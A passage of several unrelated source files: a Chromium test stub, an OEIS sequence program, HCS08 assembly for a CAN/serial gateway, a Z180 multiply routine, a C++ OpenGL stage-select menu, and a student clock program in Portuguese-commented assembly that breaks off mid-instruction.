Cannot yet mock OzonePlatform::GetInstance()->GetInputController(), // so cannot test scenarios involving stylus on charger from 'boot'. #if 0 TEST_F(PeripheralBatteryListenerIncompleteDevicesTest, StylusGaragedOnBoot) { // Create touchscreen w/ stylus, w/ dockswitch // Have stylus on charger from boot // Ensure that it starts on full charge } #endif } // namespace ash
; A077949: Expansion of 1/(1-x-2*x^3). ; Submitted by Jamie Morken(s2) ; 1,1,1,3,5,7,13,23,37,63,109,183,309,527,893,1511,2565,4351,7373,12503,21205,35951,60957,103367,175269,297183,503917,854455,1448821,2456655,4165565,7063207,11976517,20307647,34434061,58387095,99002389,167870511,284644701,482649479,818390501,1387679903,2352978861,3989759863,6765119669,11471077391,19450597117,32980836455,55922991237,94824185471,160785858381,272631840855,462280211797,783851928559,1329115610269,2253676033863,3821379890981,6479611111519,10986963179245,18629722961207,31588945184245 mov $1,1 mov $3,1 lpb $0 sub $0,1 mov $1,$4 add $1,$4 mov $4,$2 add $2,$3 mov $3,$1 lpe add $2,$1 mov $0,$2
; ============================================================================== ; MINI LAUSCH BOX ; ============================================================================== ; Hardware: https://github.com/butyi/sci2can/ ; Software: janos.bencsik@knorr-bremse.com, 2020.05.23. ; ============================================================================== #include "dz60.inc" ; ===================== CONFIG ================================================= APPLICATION equ 0 ; Gateway applications ID (0: github example) SW_REV equ 2 ; Software revison BUILD_DATE_YH equ $20 ; ${:year/100} BUILD_DATE_YL equ $21 ; ${:year-2000} BUILD_DATE_MO equ $02 ; ${:month} BUILD_DATE_DA equ $28 ; ${:date} BUILD_DATE_HO equ $09 ; ${:hour} BUILD_DATE_MI equ $30 ; ${:min} ;OSCILL_SUPP equ 1 ; To switch on oscillator support BUFFLEN equ 96 ; Number of bytes in received burst ; uC port definitions with line names in schematic LED2 @pin PTA,6 CANRX @pin PTE,7 CANTX @pin PTE,6 RxD1 @pin PTE,1 RxD1_2 @pin PTA,0 FET @pin PTD,2 ;BTNL @pin PTA,2 ; My prototype ;BTNR @pin PTA,1 ; My prototype BTNL @pin PTE,3 BTNR @pin PTE,2 #ifdef OSCILL_SUPP ; Debug pins to measure execution times (high level) by oscilloscope OSC_SCIRX @pin PTD,0 ; Pin is high during SCI Rx burst OSC_CANTX @pin PTD,1 ; Pin is high during CAN Tx burst OSC_RTCIT @pin PTD,3 ; Pin is high during RTC Interrupt routine OSC_SCIIT @pin PTD,4 ; Pin is high during SCI Rx Interrupt routine OSC_CANIT @pin PTD,5 ; Pin is high during CAN Tx Interrupt routine #endif ; ===================== INCLUDE FILES ========================================== #include "cop.sub" #include "mcg.sub" #include "rtc.sub" #include "iic.sub" #include "ssd1780.sub" ; 0.96" 128x64 OLED display #include "lib.sub" #include "sci.sub" #include "can.sub" #include "adc.sub" ; ==================== VARIABLES ============================================= #RAM uz ds 2 ; Hysteresis filtered Uz voltage btns ds 1 ; Saved button states to detect change ; ==================== PROGRAM START ========================================= #ROM start: sei ; disable interrupts ldhx #XRAM_END ; H:X points to SP txs ; Init SP jsr COP_Init jsr PTX_Init ; I/O ports initialization jsr MCG_Init jsr RTC_Init jsr CAN_Init jsr SCI_Init jsr IIC_Init ; Init IIC for fast clear (~100khz) bsr ADC_Init cli ; Enable interrupts clr uz ; Init uz variable clr uz+1 jsr update_btns ; Init btns variable jsr IIC_wfe ; Wait for end of action list jsr DISP_init ; Initialize display lda #$00 ; Set position to top-left ldhx #startscreen ; Get address of string jsr DISP_print ; Print string jsr IIC_wfe ; Wait for end of action list ; jsr IIC_Slow ; Slow down IIC for update (~10khz) main jsr KickCop ; Update watchdog brset EVERY1SEC.,timeevents,m_onesec ; Check if 1s spent jsr update_btns ; Test button change bne m_btn_event ; In case of edge, jump to handle mov #PIN5.,ADCSC1 ; Start Uz voltage measurement m_meas jsr KickCop ; Update watchdog brclr COCO.,ADCSC1,m_meas ; Wait for finish Uz measurement ldx #0 ; Load uz to arit32 stx arit32 stx arit32+1 lda uz sta arit32+2 lda uz+1 sta arit32+3 stx yy ; *=255 stx yy+1 stx yy+2 lda #255 sta yy+3 jsr szor16bit ldx #0 ; /=256 stx yy stx yy+1 lda #1 sta yy+2 stx yy+3 jsr oszt32bit lda arit32+3 ; +=ADCRL add ADCRL sta uz+1 lda arit32+2 adc #0 sta uz ; Save back to uz bra main ; Repeat main cycle m_onesec ; This path called once in every sec bclr EVERY1SEC.,timeevents ; Clear event flag lda uz ; Load high byte ; ldx #18 ; *=18 ;My prototype ldx #55 ; *=55 mul pshx pulh ; ldx #10 ; /=10 ;My prototype ldx #30 ; /=30 div clrh ldx #1 ; Length of fractional part is 1 digit mov #5,str_bufidx ; Set length of string jsr str_val ; Convert value to string lda #$26 ; Screen position jsr DISP_print ; Print string ; Update SCI status ldhx #ok_err_str brclr SCIPACK_LED.,led_flags,m_sci_err aix #2 m_sci_err lda #$45 ; Screen position jsr DISP_print ; Print string ; Update CAN status ldhx #ok_err_str brclr CANSENT_LED.,led_flags,m_can_err aix #2 m_can_err lda #$4E ; Screen position jsr DISP_print ; Print string jmp main m_btn_event ; Button state changed ldhx #btn_str ; Just show the new state, no real function yet lda btns and #BTNL_ beq m_btnl_err aix #4 m_btnl_err lda #$72 ; Screen position jsr DISP_print ; Print string ldhx #btn_str ; Just show the new state, no real function yet lda btns and #BTNR_ beq m_btnr_err aix #4 m_btnr_err lda #$7B ; Screen position jsr DISP_print ; Print string jmp main ; ===================== STRINGS ================================================ hexakars db '0123456789ABCDEF' startscreen db "* sci2can 1v02 *" db " " db " Uz= V " db " " db " SCI ? CAN ? " db " " db "Build 2102280930" db " " db 0 ok_err_str db "-",0 db $1F,0 ; Check mark symbol btn_str db " ",0 db "vvv",0 ; ===================== SUB-ROUTINES =========================================== ; ------------------------------------------------------------------------------ ; Parallel Input/Output Control ; To prevent extra current consumption caused by flying not connected input ; ports, all ports shall be configured as output. I have configured ports to ; low level output by default. ; There are only a few exceptions for the used ports, where different ; initialization is needed. ; Default init states are proper for OSCILL_SUPP pins, no exception needed. PTX_Init ; All ports to be low level clra sta PTA sta PTB sta PTC sta PTD sta PTE sta PTF sta PTG bset CANTX.,CANTX ; CANTX to be high bset LED2.,LED2 ; LED2 to be On ; All ports to be output lda #$FF sta DDRA sta DDRB sta DDRC sta DDRD sta DDRE sta DDRF sta DDRG bclr CANRX.,CANRX+1 ; CANRX to be input bclr RxD1.,RxD1+1 ; RxD1 to be input bclr RxD1_2.,RxD1_2+1 ; RxD1_2 to be input bclr BTNL.,BTNL+1 ; Button to be input bclr BTNR.,BTNR+1 ; Button to be input lda #BTNL_|BTNR_ ; Buttons to be pulled up sta PTEPE ; to prevent instable state when not mounted lda #RxD1_2_ sta PTAPE ; RxD1_2 to be pulled up rts update_btns lda BTNL ; Load current button state coma ; Change polarity to active low and #BTNL_|BTNR_ ; Mask bits of two buttons tax ; Update btns later with this value eor btns ; Detect state change comparing to last value still in btns stx btns ; Update btns now with before saved value tsta ; Update status register with A to report any button edge rts ; ===================== IT VECTORS ============================================= #VECTORS org Vreset dw start ; ===================== END ====================================================
; ; feilipu, 2019 May ; ; This Source Code Form is subject to the terms of the Mozilla Public ; License, v. 2.0. If a copy of the MPL was not distributed with this ; file, You can obtain one at http://mozilla.org/MPL/2.0/. ; ;------------------------------------------------------------------------------ ; ; multiplication of two 24-bit numbers into a 32-bit product ; ; result is calculated for highest 32-bit result ; from a 48-bit calculation. ; ; Lower 8 bits intended to provide rounding information for ; IEEE floating point mantissa calculations. ; ; enter : abc = lde = 24-bit multiplier = x ; def = lde' = 24-bit multiplicand = y ; ; abc * def ; = (a*d)*2^32 + ; (a*e + b*d)*2^24 + ; (b*e + a*f + c*d)*2^16 + ; (b*f + c*e)*2^8 ; ; NOT CALCULATED ; (c*c)*2^0 ; ; 8 8*8 multiplies in total ; ; exit : hlde = 32-bit product ; ; uses : af, bc, de, hl, bc', de', hl' IF __CPU_Z180__ SECTION code_clib SECTION code_fp_math32 PUBLIC m32_mulu_32h_24x24 .m32_mulu_32h_24x24 ld h,l ; ab:bc ld l,d ld a,h ; a in a exx ld h,a push hl ; ad on stack ld h,l ; de:ef ld l,d push hl ; de on stack push de ; ef on stack ld a,h ; d in a exx ld d,a ; dc in de ld b,h ld c,l ex (sp),hl ; ab on stack, ef in HL push de ; dc on stack push bc ; ab on stack (again) push hl ; ef on stack ld d,l ld a,h ld h,e ld e,a mlt hl ; b*e 2^8 mlt de ; c*f 2^8 xor a add hl,de adc a,a ld c,h ; put 2^8 in bc ld b,a pop de ; ef pop hl ; ab ld a,d ld d,h ld h,a mlt hl ; a*f 2^16 mlt de ; e*b 2^16 xor a add hl,bc adc a,a add hl,de adc a,0 pop de ; dc mlt de ; d*c 2^16 add hl,de adc a,0 ld c,h ; put 2^16 in bca ld b,a ld a,l pop de ; ab pop hl ; de push af ; l on stack ld a,d ld d,h ld h,a mlt hl ; d*b 2^24 mlt de ; a*e 2^24 xor a add hl,bc adc a,a add hl,de adc a,0 pop bc ; l in b ld c,b ld b,l ld l,h ld h,a pop de ; ad mlt de ; a*d 2^32 add hl,de ld d,b ld e,c ; exit : HLDE = 32-bit product ret ENDIF
#include <algorithm> #include <filesystem> #include <fstream> #include <memory> #include <string> #include <GL/glew.h> #include <GL/wgl.h> #include <GL/wglext.h> #include <GL/gl.h> #include <GLFW/glfw3.h> #include "common/CommonResources.h" #include "common/GUI.h" #include "menu/GUISelectStage.h" GUISelectStage::GUISelectStage( const std::shared_ptr<GUI> &parent, CommonResources &commonResources, const std::string &modeName, const std::string &path ): GUI(parent, commonResources), modeName(modeName) { for ( const auto &item : std::filesystem::directory_iterator(std::filesystem::path(path)) ) if (item.is_regular_file()) { std::ifstream file(item.path().string()); Stage &stage = stages.emplace_back(); std::getline(file, stage.name); std::getline(file, stage.file); } } void GUISelectStage::init() { if (stages.size() == 1) parent->notify(); } void GUISelectStage::render(const long timePassed) { if (fadeTime < 0) fadeTime = std::min(0l, fadeTime + timePassed); else if (fadeTime != 0) { fadeTime = std::max(0l, fadeTime - timePassed); if (fadeTime == 0) { if (enterGame) parent->notify(); else goBack(); return; } } glEnable(GL_BLEND); glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); glDisable(GL_DEPTH_TEST); glDisable(GL_CULL_FACE); glEnable(GL_TEXTURE_2D); manager->set2DUniform(); const float screenWidth = (float)manager->screenWidth / manager->screenHeight, horizontalCenter = screenWidth / 2; commonResources.font.render( modeName, 0.1, 0.9, 0, 0.06, 0, false, 1, 1, 0, false, 0, {1, 1, 1, 1} ); if (stages.size() == 0) { commonResources.font.render( "There are no stages for this mode."s, horizontalCenter, 0.75, 0, 0.03, 0.5, true, 0, 1, 0, false, 0, {1, 1, 1, 0.7f} ); } else { const int stopIndex = stages.size() < 14 ? stages.size() : scrollPosition + 14; float yPos = 0.75; for (int index = scrollPosition; index != stopIndex; index++) { const Stage &stage = stages[index]; const bool selected = selectedStage == index; const Color textColor = {1, 1, 1, selected ? 1.f : 0.7f}; commonResources.font.render( stage.name, horizontalCenter, yPos, 0, 0.03, 0.5, true, 0, 1, 0, false, 0, textColor ); if (selected) { const float lineY = yPos - 0.01; glLineWidth(1); glDisable(GL_TEXTURE_2D); glBegin(GL_LINE_STRIP); glColor4f(1, 1, 1, 0); glVertex2f(horizontalCenter + 0.5, lineY); glColor4f(1, 1, 1, 1); glVertex2f(horizontalCenter + 0.4, lineY); glVertex2f(horizontalCenter - 0.4, lineY); glColor4f(1, 1, 1, 0); glVertex2f(horizontalCenter - 0.5, lineY); glEnd(); glEnable(GL_TEXTURE_2D); } yPos -= 0.05; } if (stages.size() > 14) { const float startY = 1 - (float)scrollPosition / stages.size(), endY = 1 - (scrollPosition + 14.f) / stages.size(), leftX = screenWidth - 0.015f; glDisable(GL_TEXTURE_2D); glColor3f(1, 1, 1); glBegin(GL_QUADS); glVertex2f(screenWidth, startY); glVertex2f(leftX, startY); glVertex2f(leftX, endY); glVertex2f(screenWidth, endY); glEnd(); } } // Fade. if (fadeTime != 0) { manager->set2D(true); glDisable(GL_TEXTURE_2D); glColor4f( 0, 0, 0, fadeTime < 0 ? fadeTime/-200.f : 1 + fadeTime/-200.f ); glBegin(GL_QUADS); glVertex2f(1, 1); glVertex2f(0, 1); glVertex2f(0, 0); glVertex2f(1, 0); glEnd(); } } void GUISelectStage::onKeyPressed(const int key) { if (fadeTime != 0) return; if (stages.size() == 0) { if (key == GLFW_KEY_ESCAPE) { fadeTime = 200; playSound(commonResources.returnSound); } return; } switch (key) { case GLFW_KEY_DOWN: selectedStage = (selectedStage + 1) % stages.size(); if (selectedStage == 0 && stages.size() > 14) scrollPosition = 0; if (selectedStage > scrollPosition + 13) scrollPosition++; playSound(commonResources.selectSound); break; case GLFW_KEY_UP: if (selectedStage == 0) { if (stages.size() > 14) scrollPosition = stages.size() - 14; selectedStage = stages.size() - 1; } else { selectedStage--; if (selectedStage < scrollPosition) scrollPosition--; } playSound(commonResources.selectSound); break; case GLFW_KEY_PAGE_DOWN: if (stages.size() < 14 || scrollPosition == stages.size() - 14) break; scrollPosition = std::min((int)stages.size() - 14, scrollPosition + 14); selectedStage = std::min((int)stages.size() - 1, selectedStage + 14); playSound(commonResources.selectSound); break; case GLFW_KEY_PAGE_UP: if (stages.size() < 14 || scrollPosition == 0) break; scrollPosition = std::max(0, scrollPosition - 14); selectedStage = std::max(0, selectedStage - 14); playSound(commonResources.selectSound); break; case GLFW_KEY_ENTER: enterGame = true; fadeTime = 200; playSound(commonResources.enterSound); break; case GLFW_KEY_ESCAPE: fadeTime = 200; playSound(commonResources.returnSound); break; } } std::string GUISelectStage::getStageFileName() { return stages[selectedStage].file; }
; ; PROJECTO DE ARQUITECTURA DE COMPUTADORES ; IST 23/05/2014 ; ; NOMES: GUILHERME ANDRADE 77955, GABRIEL FREIRE 78081 ; CURSO: LETI ; Turno Lab: Terça-Feira, 12h30 ; Grupo: 18 ; ; ************************************************************************************************************** ; * Constantes ; ************************************************************************************************************** PIXEL EQU 0C00CH ; endereço onde se começa a desenhar no Pixel Shader PIXEL3 EQU 0C00EH ; endereço necessário do Pixel Shader para a rotina pontinhos VAL EQU 0009H ; número de linhas acendidas LIM EQU 0006H ; número de dígitos colocoado no Pixel Shader(6) STRING1 EQU 2000H ; posição onde comeca a tabela de strings STRING2 EQU 205AH ; posição onde comeca a string para fazer os dois pontos POS1 EQU 0005H ; número de vezes que será feito shift para posicionar o primeiro dígito na posição certa M1 EQU 00EH ; máscara para limpar o primeiro dígito mantendo o segundo M2 EQU 0E0H ; máscara para escrever o segundo dígito mantendo o primeiro M3 EQU 0F0H ; máscara para limpar o primeiro dígito mantendo o segundo limite EQU 0C07FH ; último endereço do pixel shader reset EQU 00H ; M_H_D EQU 4000H ;endereço onde guardamos dados (horas,dezenas) M_H_U EQU 4001H ;endereço onde guardamos dados (horas,unidades) M_M_D EQU 4002H ;endereço onde guardamos dados (minutos,dezenas) M_M_U EQU 4003H ;endereço onde guardamos dados (minutos,unidades) M_S_D EQU 4004H ;endereço onde guardamos dados (segundos,dezenas) M_S_U EQU 4005H ;endereço onde guardamos dados (segundos,unidades) FlagMODO EQU 4FF0H ;indica se está em modo cronómetro ou relógio C_H_D EQU 5000H ;endereço onde guardamos dados (horas,dezenas) C_H_U EQU 5001H ;endereço onde guardamos dados (horas,unidades) C_M_D EQU 5002H ;endereço onde guardamos dados (minutos,dezenas) C_M_U EQU 5003H ;endereço onde guardamos dados (minutos,unidades) C_S_D EQU 5004H ;endereço onde guardamos dados (segundos,dezenas) C_S_U EQU 5005H ;endereço onde guardamos dados (segundos,unidades) M_S_A EQU 400FH ;regista o número do alarme seleccionado (1,2,3) M_H_D_A1 EQU 4010H ;endereço onde guardamos dados (horas,dezenas) M_H_U_A1 EQU 4011H ;endereço onde guardamos dados (horas,unidades) M_M_D_A1 EQU 4012H ;endereço onde guardamos dados (minutos,dezenas) M_M_U_A1 EQU 4013H ;endereço onde guardamos dados (minutos,unidades) M_L_A1 EQU 4014H ;endereço onde guardamos a informação se o alarme foi programado ou não M_A_A1 EQU 4015H ;endereço onde guardamos a informação se o relógio chegou à hora do alarme M_H_D_A2 EQU 4020H ;endereço onde guardamos dados (horas,dezenas) M_H_U_A2 EQU 4021H ;endereço onde guardamos dados (horas,unidades) M_M_D_A2 EQU 4022H ;endereço onde guardamos dados (minutos,dezenas) M_M_U_A2 EQU 4023H ;endereço onde guardamos dados (minutos,unidades) M_L_A2 EQU 4024H ;endereço onde guardamos a informação se o alarme foi programado ou não M_A_A2 EQU 4025H ;endereço onde guardamos a informação se o relógio chegou à hora do alarme M_H_D_A3 EQU 4030H ;endereço onde guardamos dados (horas,dezenas) M_H_U_A3 EQU 4031H ;endereço onde guardamos dados (horas,unidades) M_M_D_A3 EQU 4032h ;endereço onde guardamos dados (minutos,dezenas) M_M_U_A3 EQU 4033H ;endereço onde guardamos dados (minutos,unidades) M_L_A3 EQU 4034H ;endereço onde guardamos a informação se o alarme foi programado ou não M_A_A3 EQU 4035H ;endereço onde guardamos a informação se o relógio chegou à hora do alarme FLAG EQU 4006H ; indica se houve interrupção LINHA EQU 1H ; posição do bit correspondente à linha a testar PINPOUT EQU 0B000H ; endereço do porto de E/S do teclado LIMITE EQU 10H ; verificámos a quarta linha VALOR EQU 0H ; valor inicial de R4 MULTI EQU 4H ; número de elementos por linha OITO EQU 8H ; valor quando testamos a ultima linha NADA EQU 00FFH ; valor se nada for pressionado no teclado ; ************************************************************************************************************** ; * Código ; ************************************************************************************************************** PLACE 2000H ; endereço inicial que guarda as strings n0: STRING 07H, 05H, 05H, 05H, 05H, 05H, 05H, 05H, 07H ; coloca o número zero no Pixel Shader n1: STRING 01H, 01H, 01H, 01H, 01H, 01H, 01H, 01H, 01H ; coloca o número um no Pixel Shader n2: STRING 07H, 01H, 01H, 01H, 07H, 04H, 04H, 04H, 07H ; coloca o número dois no Pixel Shader n3: STRING 07H, 01H, 01H, 01H, 07H, 01H, 01H, 01H, 07H ; coloca o número três no Pixel Shader n4: STRING 05H, 05H, 05H, 05H, 07H, 01H, 01H, 01H, 01H ; coloca o número quatro no Pixel Shader n5: STRING 07H, 04H, 04H, 04H, 07H, 01H, 01H, 01H, 07H ; coloca o número cinco no Pixel Shader n6: STRING 07H, 04H, 04H, 04H, 07H, 05H, 05H, 05H, 07H ; coloca o número seis no Pixel Shader n7: STRING 07H, 01H, 01H, 01H, 01H, 01H, 01H, 01H, 01H ; coloca o número sete no Pixel Shader n8: STRING 07H, 05H, 05H, 05H, 07H, 05H, 05H, 05H, 07H ; coloca o número oito no Pixel Shader n9: STRING 07H, 05H, 05H, 05H, 07H, 01H, 01H, 01H, 07H ; coloca o número nove no Pixel Shader npont: STRING 00H, 00H, 01H, 00H, 00H, 00H, 01H, 00H, 00H ; coloca um ponto no Pixel Shader ; ************************************************************************************************************** ; * Stack ; ************************************************************************************************************** PLACE 1000H pilha: TABLE 100H ; espaço reservado para a pilha ;(200H bytes, pois são 100H words) SP_inicial: ; este é o endereço (1200H) com que o SP deve ser ;inicializado. O 1º end. de retorno será ;armazenado em 11F0EH (1200H-2) PLACE 2200H tab: WORD rot0 ; tabela de interrupções PLACE 0 ; o código tem de começar em 0000H inicio1: MOV BTE,tab ; MOV SP, SP_inicial ; inicializa SP para a palavra a seguir ; à última da pilha MOV R4,0AH MOV R0,0H ; MOV R8,0H ; MOV R1,0H ; MOV R9,0H ; MOV R3,LIM ; MOV R2,PIXEL ; MOV R10,0FH ; CALL limpa ; CALL pontinhos ; EI0 ; permite interrupções EI ; Ciclo: MOV R3,FLAG MOVB R9, [R3] CMP R9, 0H ; verifica se a flag está activa,indicativo de + 1 segundo JZ fim CALL incrementa ; incrementa 1 segundo no relogio ; CALL alarmes ; compara relogio com os alarmes CALL refresh ; actualiza os valores no ecra MOV R3,FLAG MOV R0,0H MOVB [R3], R0 ; desactiva flag fim: CALL retorna_valor ; le teclado MOV R6,0FH CMP R8,R6 ; verifica se o utilizador pressionou a tecla F,indo para o modo de acerto do relógio JZ acertox JMP Ciclo acertox: CALL acerto EI JMP Ciclo ; ************************************************************************************************************* ; * Rotinas ; ************************************************************************************************************* ;* -- refresh -------------------------------------------------------------------------------------------- ;* ;* Descrição: Rotina que actualiza o display com os valores que estão na memória ;* ;* Parâmetros: R8,R1 ;* Retorna: -- ;* Destrói: -- refresh: PUSH R3 PUSH R1 PUSH R8 MOV R3,M_H_D MOVB R8, [R3] ; vamos buscar à memória o valor das horas(dezenas) MOV R1,0H CALL escreve_valor MOV R3,M_H_U MOVB R8, [R3] ; vamos buscar à memória o valor das horas(unidades) MOV R1,1H CALL escreve_valor MOV R3,M_M_D MOVB R8, [R3] ; vamos buscar à memória o valor dos minutos(dezenas) MOV R1,2H CALL escreve_valor MOV R3,M_M_U MOVB R8, [R3] ; vamos buscar à memória o valor das minutos(unidades) MOV R1,3H CALL escreve_valor MOV R3,M_S_D MOVB R8, [R3] ; vamos buscar à memória o valor dos segundos(dezenas) MOV R1,4H CALL escreve_valor MOV R3,M_S_U MOVB R8, [R3] ; vamos buscar à memória o valor das segundos(unidades) MOV R1,5H CALL escreve_valor POP R8 POP R1 POP R3 RET ;* -- escreve_valor-------------------------------------------------------------------------------------------- ;* ;* Descrição: Rotina que escreve um dígito no pixel shader ;* ;* Parâmetros: R8,R1 ;* Retorna: -- ;* Destrói: -- escreve_valor: PUSH R3 PUSH R4 PUSH R10 PUSH R6 PUSH R7 PUSH R2 PUSH R9 PUSH R8 inicio: MOV R3, VAL ; o número de linhas é 9 MOV R4, 0H ; contador para gerir o número de pixeis MOV R10,STRING1 ; endereço das strings MUL R8, R3 ; transformar o número a colocar no número do endereço onde começa a sua representação ADD R10,R8 ; endereço de memória correspondente CMP R1,0H ; verificamos qual é o dígito que vai ser escrito no Pixel Shader JZ ciclo1 ; primeiro dígito CMP R1,1H JZ ciclo2 ; segundo dígito ADD R2, 1H ; actualiza endereço do pixel shader a colocar o número CMP R1,2H JZ ciclo3 ; terceiro dígito ADD R2, 1H ; actualiza endereço do pixel shader a colocar o número CMP R1,3H JZ ciclo4 ; quarto dígito ADD R2, 1H ; actualiza endereço do pixel shader a colocar o número CMP R1,4H JZ ciclo5 ; quinto dígito CMP R1,5H JGE ciclo6 ; sexto dígito RET ciclo1: CMP R4,R3 ; compara com o número 9 para saber se já terminámos a representação do número JZ pops MOVB R5,[R10] ; copia da tabela criada o que será colocado nesta linha do pixel shader MOV R6, M1 ; MOVB R7,[R2] ; copia o que está na memória AND R7, R6 ; vai apagar o primeiro dígito e manter o segundo SHL R5,5H ; posiciona o novo primeiro dígito OR R5,R7 ; actualiza-se o que vai ser colocado na memória MOVB [R2],R5 ; acende-se os pixeis ADD R2,4H ; endereço da linha seguinte ADD R4,01H ; soma um ao contador ADD R10,01H ; endereço de memória a seguir JMP ciclo1 ciclo2: CMP R4,R3 ; compara com o número 9 para saber se já terminámos a representação do número JZ pops MOVB R5,[R10] ; copia da tabela criada o que será colocado nesta linha do pixel shader MOV R6, M3 ; MOVB R7,[R2] ; copia o que está na memória AND R7, R6 ; vai apagar o segundo dígito e manter o primeiro SHL R5, 1H ; posiciona o novo segundo dígito OR R5,R7 ; actualiza-se o que vai ser colocado na memória MOVB [R2],R5 ; acende-se os pixeis ADD R2,4H ; endereço da linha seguinte ADD R4,01H ADD R10,01H ; endereço de memória a seguir JMP ciclo2 ciclo3: CMP R4,R3 ; compara com o número 9 para saber se já terminámos a representação do número JZ pops MOVB R5,[R10] ; copia da tabela criada o que será colocado nesta linha do pixel shader MOV R6, M2 ; MOVB R7,[R2] ; copia o que está na memória AND R7, R6 ; vai apagar o dígito anterior SHL R5, 1H ; posiciona o novo dígito OR R5,R7 ; actualiza-se o que vai ser colocado na memória MOVB [R2],R5 ; acende-se os pixeis ADD R2,4H ; endereço da linha seguinte ADD R4,01H ; soma um ao contador ADD R10,01H ; endereço de memória a seguir JMP ciclo3 ciclo4: CMP R4,R3 ; compara com o número 9 para saber se já terminámos a representação do número JZ pops MOVB R5,[R10] ; copia da tabela criada o que será colocado nesta linha do pixel shader MOV R6, M1 MOVB R7,[R2] ; copia o que está na memória AND R7, R6 ; vai apagar o dígito anterior SHL R5,5H ; posiciona o novo dígito OR R5,R7 ; actualiza-se o que vai ser colocado na memória MOVB [R2],R5 ; acende-se os pixeis ADD R2,4H ; endereço da linha seguinte ADD R4,01H ADD R10,01H ; endereço de memória a seguir JMP ciclo4 ciclo5: CMP R4,R3 ; compara com o número 9 para saber se já terminámos a representação do número JZ pops MOVB R5,[R10] ; copia da tabela criada o que será colocado nesta linha do pixel shader MOV R6, M1 ; máscara MOVB R7,[R2] ; copia o que está na memória AND R7, R6 ; vai apagar o dígito anterior, guardando o que esta na posição ao lado SHL R5,5H ; posiciona o novo dígito OR R5,R7 ; actualiza-se o que vai ser colocado na memória MOVB [R2],R5 ; acende-se os pixeis ADD R2,4H ; endereço da linha seguinte ADD R4,01H ; soma um ao contador ADD R10,01H ; endereço de memória a seguir JMP ciclo5 ciclo6: CMP R4,R3 ; compara com o número 9 para saber se já terminámos a representação do número JZ pops MOVB R5,[R10] ; copia da tabela criada o que será colocado nesta linha do pixel shader MOV R6, M2 ; máscara MOVB R7,[R2] AND R7, R6 ; vai apagar o dígito anterior, guardando o que está na posição ao lado SHL R5, 1H ; posiciona o novo dígito OR R5,R7 ; actualiza-se o que vai ser colocado na memória MOVB [R2],R5 ; acende-se os pixeis ADD R2,4H ; endereço da linha seguinte ADD R4,01H ; soma um ao contador ADD R10,01H ; endereço de memória a seguir JMP ciclo6 pops: POP R8 POP R9 POP R2 POP R7 POP R6 POP R10 POP R4 POP R3 RET ;* -- pontinhos---------------------------------------------------------------------------------------------------- ;* ;* Descrição: Rotina que liga os pontos que separam as horas dos minutos e os minutos dos segundos no Pixel Shader. ;* ;* Parâmetros: -- ;* Retorna: -- ;* Destrói: -- pontinhos: PUSH R2 PUSH R10 PUSH R5 PUSH R4 PUSH R3 PUSH R7 PUSH R9 start: MOV R9,PIXEL3 MOV R3, VAL ; o número de linhas é 9 MOV R4, 0H ; contador para gerir o número de pixeis MOV R10, STRING2 ; endereço das strings ADD R2,1H ; passa para o endereço seguinte do pixel shader CMP R2, R9 ; verifica se já temos os primeiros pontos colocados JZ ponts2 ponts: CMP R4,R3 ; compara com o número 9 para saber se já terminámos a representação do número JZ muda MOVB R5,[R10] ; copia da tabela criada o que será colocado nesta linha do pixel shader MOV R6, M1 ; máscara AND R7, R6 ; guarda o dígito que está ao lado MOVB R7,[R2] ; copia o que está na memória SHL R5, 6H ; posiciona o novo dígito OR R5,R7 ; actualiza-se o que vai ser colocado MOVB [R2],R5 ; acende-se os pixeis ADD R2,4H ; endereço da linha seguinte ADD R4,01H ; soma um ao contador ADD R10,01H ; endereço de memória a seguir JMP ponts muda: MOV R2, PIXEL ; repete-se devido à reposição do valor inicial ADD R2,1H ; avança duas posições no endereço do pixel shader JMP start ponts2: CMP R4,R3 ; compara com o número 9 para saber se já terminámos a representação do número JZ sai MOVB R5,[R10] ; copia da tabela criada o que será colocado nesta linha do pixel shader MOV R6, M2 ; máscara MOVB R7,[R2] ; copia o que está na memória AND R7, R6 ; guarda o dígito que está ao lado SHL R5, 2H ; posiciona o novo dígito OR R5,R7 ; actualiza-se o que vai ser colocado MOVB [R2],R5 ; acende-se os pixéis ADD R2,4H ; endereço da linha seguinte ADD R4,01H ADD R10,01H ; endereço de memória a seguir JMP ponts2 sai: POP R9 POP R7 POP R3 POP R4 POP R5 POP R10 POP R2 RET ;* -- limpa---------------------------------------------------------------- ;* ;* Descrição: Rotina que limpa qualquer ruído da memória do Pixel Shader. ;* ;* Parâmetros: -- ;* Retorna: -- ;* Destrói: -- limpa: PUSH R10 PUSH R11 PUSH R2 MOV R10, reset ; inicializa registo com valor do primeiro endereço do pixel shader MOV R11, limite ; inicializa registo com valor do ultimo endereço do pixel shader limpa_ciclo: MOVB [R2], R10 ; limpa a memória do byte do endereço do pixel shader selecionado CMP R2, R11 ; verifica se já atingiu o último endereço do pixel shader JLE limpa_add ; caso não se verifique a condição, incrementa-se o endereço (através da função limpa_add) JMP limpa_fim limpa_add: ADD R2,1 JMP limpa_ciclo limpa_fim: POP R2 POP R11 POP R10 RET ; ********************************************************************************* ;* -- incrementa---------------------------------------------------------------- ;* ;* Descrição: Rotina que actualiza os valores dos dígitos na memória ;* ;* Parâmetros: -- ;* Retorna: -- ;* Destrói: ;* Notas: -- incrementa: PUSH R0 PUSH R3 PUSH R1 PUSH R4 PUSH R5 MOV R0,0AH MOV R1,M_S_U MOVB R3, [R1] ADD R3,1H CMP R3, R0 ; compara com AH para saber se já temos 9 no ultimo dígito dos segundos JZ s1 MOVB [R1],R3 JMP saida s1: MOV R3,0H MOVB [R1],R3 ; depois do valor 9 recolocamos o valor 0 s2: MOV R0, 6H MOV R1,M_S_D MOVB R3, [R1] ; vamos buscar a memoria o número de segundos (dezenas) ADD R3,1H CMP R3, R0 ; verificamos se ja temos 60 segundos JZ m MOVB [R1],R3 JMP saida m: MOV R3,0H MOVB [R1],R3 ; colocamos os segundos a zero m0: MOV R0, 0AH MOV R1,M_M_U ; vamos buscar a memoria o número de minutos (unidades) MOVB R3, [R1] ADD R3,1H CMP R3, R0 ; verificamos se ja temos 10 minutos JZ m1 MOVB [R1],R3 JMP saida m1: MOV R3,0H MOVB [R1],R3 ; depois do valor 9 recolocamos o valor 0 m2: MOV R0, 6H MOV R1,M_M_D MOVB R3, [R1] ; vamos buscar a memoria o número de minutos (dezenas) ADD R3,1H CMP R3, R0 ; verificamos se ja temos 60 minutos JZ h MOVB [R1],R3 JMP saida h: MOV R3,0H MOVB [R1],R3 ; colocamos os minutos a zero h0: MOV R0, 0AH MOV 